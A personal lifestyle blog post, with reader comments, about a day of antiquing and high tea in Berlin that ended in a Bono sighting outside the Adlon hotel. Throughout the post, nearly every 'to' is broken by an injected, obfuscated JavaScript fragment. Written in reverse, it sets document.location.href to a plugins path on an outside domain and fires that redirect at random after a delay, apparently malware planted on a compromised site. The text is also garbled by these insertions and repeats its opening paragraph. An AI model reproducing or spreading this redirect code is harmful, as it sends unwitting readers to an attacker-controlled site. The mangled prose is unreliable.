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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>This morning I woke bleary-eyed. If I were in full confessional mode I might reveal that perhaps I had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much St Emillion with dinner last night, but as I’m a diva and a diva never reveals these details – especially when guests are staying chez elle – I slugged an extra shot of espresso and headed out the door, ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the take on the day, diva style! Fashion Stylist Kelli Djulus of
A Rendez-Vous-With-Style & I were doing a Diva Tour of the
Berliner Trödelmarkt. The itinerary was set: breakfast from the Bäckerei, the afternoon spent hard-core antiquing on the Straße des 17 Juni with a quick bite of Bratwurst, followed by a relaxing and indulgent High Tea at Berlin’s best hotel,
The Adlon.
Everything went according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to plan. Kelli had fantastic success on the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour, scoring a gorgeous pewter and etched glass Art Nouveau decanter, a Christkindl German Christmas plate, a vintage Burberry coat, 2 crystal caviar containers, 2 French Art Deco chrome canisters (one for sugar and the other for chicory plus a date made for later in the week for a private viewing with the dealer), 2 original hand-crafted necklaces and a pair of earrings. All in all, not bad for a day’s work. I guess we could say that Kelli “did find what she was looking for.”
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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 300px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SmN-jqihECI/AAAAAAAADXo/xMyPMC25xgA/s400/IMG_0200.JPG” border=”0″ />On the Diva Tours, we organize everything – dotting the I’s and crossing every last “tea”. But as much as we plan, some things are simply beyond our span of control. After sipping Jasmin Pearl and munching on perfectly baked scones with strawberry jam and clotted cream, we wandered out the front door of this Leading Hotel of the World “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to where the streets have no name” only toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discover that the news of our whereabouts had leaked!
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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 300px; CURSOR: hand; HEIGHT: 400px; TEXT-ALIGN: center” alt=”” src=”http://4.bp.blogspot.com/_kcTb8DnPVW4/SmN8wmwo8KI/AAAAAAAADXY/PNOrexoRTJs/s400/269.JPG” border=”0″ />A Rendez-Vous-With-Style and Diva Fans were waiting behind armed guards, cheering and screaming with flash-bulbs flashing, and chanting… “Bono! Over here, Bono!”
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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 10px; WIDTH: 300px; CURSOR: hand; HEIGHT: 400px; TEXT-ALIGN: center” alt=”” src=”http://1.bp.blogspot.com/_kcTb8DnPVW4/SmN8wxaoJAI/AAAAAAAADXg/SRsWogeD17E/s400/272.JPG” border=”0″ />And just as we turned, with pens poised ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to greet our adoring crowds, we gasped and realized that alas, much toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our horror, the fans were NOT there for us but for Bono! Yes, Bono, of U2 fame. Bloody Sunday! While Kelli and I were sipping tea and slipping downstairs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the loo, Bono had left the building and was working the crowd – shaking hands, pausing for photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, kissing the ladies and in general being a first class star!!!
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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>This morning I woke bleary-eyed. If I were in full confessional mode I might reveal that perhaps I had toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much St Emillion with dinner last night, but as I’m a diva and a diva never reveals these details – especially when guests are staying chez elle – I slugged an extra shot of espresso and headed out the door, ready toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the take on the day, diva style! Fashion Stylist Kelli Djulus of A Rendez-Vous-With-Style & I were doing a Diva Tour of the Berliner Trödelmarkt. The itinerary was set: breakfast from the Bäckerei, the afternoon spent hard-core antiquing on the Straße des 17 Juni with a quick bite of Bratwurst, followed by a relaxing and indulgent High Tea at Berlin’s best hotel, The Adlon.
Of course the crowds were cheering for you and Kelli – 2 hot ladies (and by the way, the hat is gorgeous!)
Chantal,
Oh think what fun we'd have!!! I can't promise a Bono sighting, but we'd still have a ball!!!
Sounds fabulous. Can't wait to go on a Diva tour myself some day!
Phivos,
Now you're a man I can appreciate – a man who appreciates my hat!!!
Dearest Sue,
If I scoop George's whereabouts, I'm all over it!!!
Victorian Cobweb,
Indeed we're having a ball!! And you don't know the half of it – a day after seeing Bono we popped into Queen Rania of Jordan and her entourage! It's been a divalicious week!
I agree with 'studioJudith'. MOST important of all your dress and hat! All the others come second!
Diva,
I would like to schedule a George Clooney tour please (with the teas and scones)!
Sue
Oh, you girls are having a fab time! Shopping, food and a little Bono for a suprise treat! Diva the hat is so you! I love it!
PamOKC,
Let's just say it took major self control not to push women, children and babies out of the way to get to the star!
Studio Judith,
Thanks!!! I must say I love my hat!!! I just bought it yesterday and have practically slept in it!
BritGal,
Truly it was a fab day, that no amount of planning could have ever coordinated!!! And we were sooo UP CLOSE and Personal with Bono, but alas, I must confess he didn't even make eye contact with us! He chose a little girl nearby to give his attention!
OMG, I'd have been elbowing everyone aside for a photo op!!!! Sorry the crowds weren't for you girls, but I love how you told the story!
MOST important of all:
Your dress and hat were made for the RedCarpet!!
JJjj
What a wonderful girly day of shopping and fashion, then a little Bono to round it off. And what a fab hat that is you have.
Kalyn,
I've still not seen him in concert, but I'm walking around the house humming, "I still haven't found what I'm looking for…" He's in Berlin for concert now… hmm, wonder if I can still get tickets?
Amazing!! I can't believe how close you got to him! I saw him in concert once in New York – what an outstanding show.
You are sooo my idol! I can't believe you were able to form sentences remaining cool, calm and in control. I fear in the same situation I might have been speechless!
Back in the day, a friend worked for his label in NYC & garnered myslef an invite to a cocktail thing for him, whilst I was visiting. A true highlight of my life when she intro'd me to him as a poet & when she mentioned I had lived in Africa for 4 years that was it!! We chatted intently for a while, me the girl of the world & Bono discussing African affairs & the need to educate for change. I swear as I have no idea how I kept forming sentences but it was memorable!!!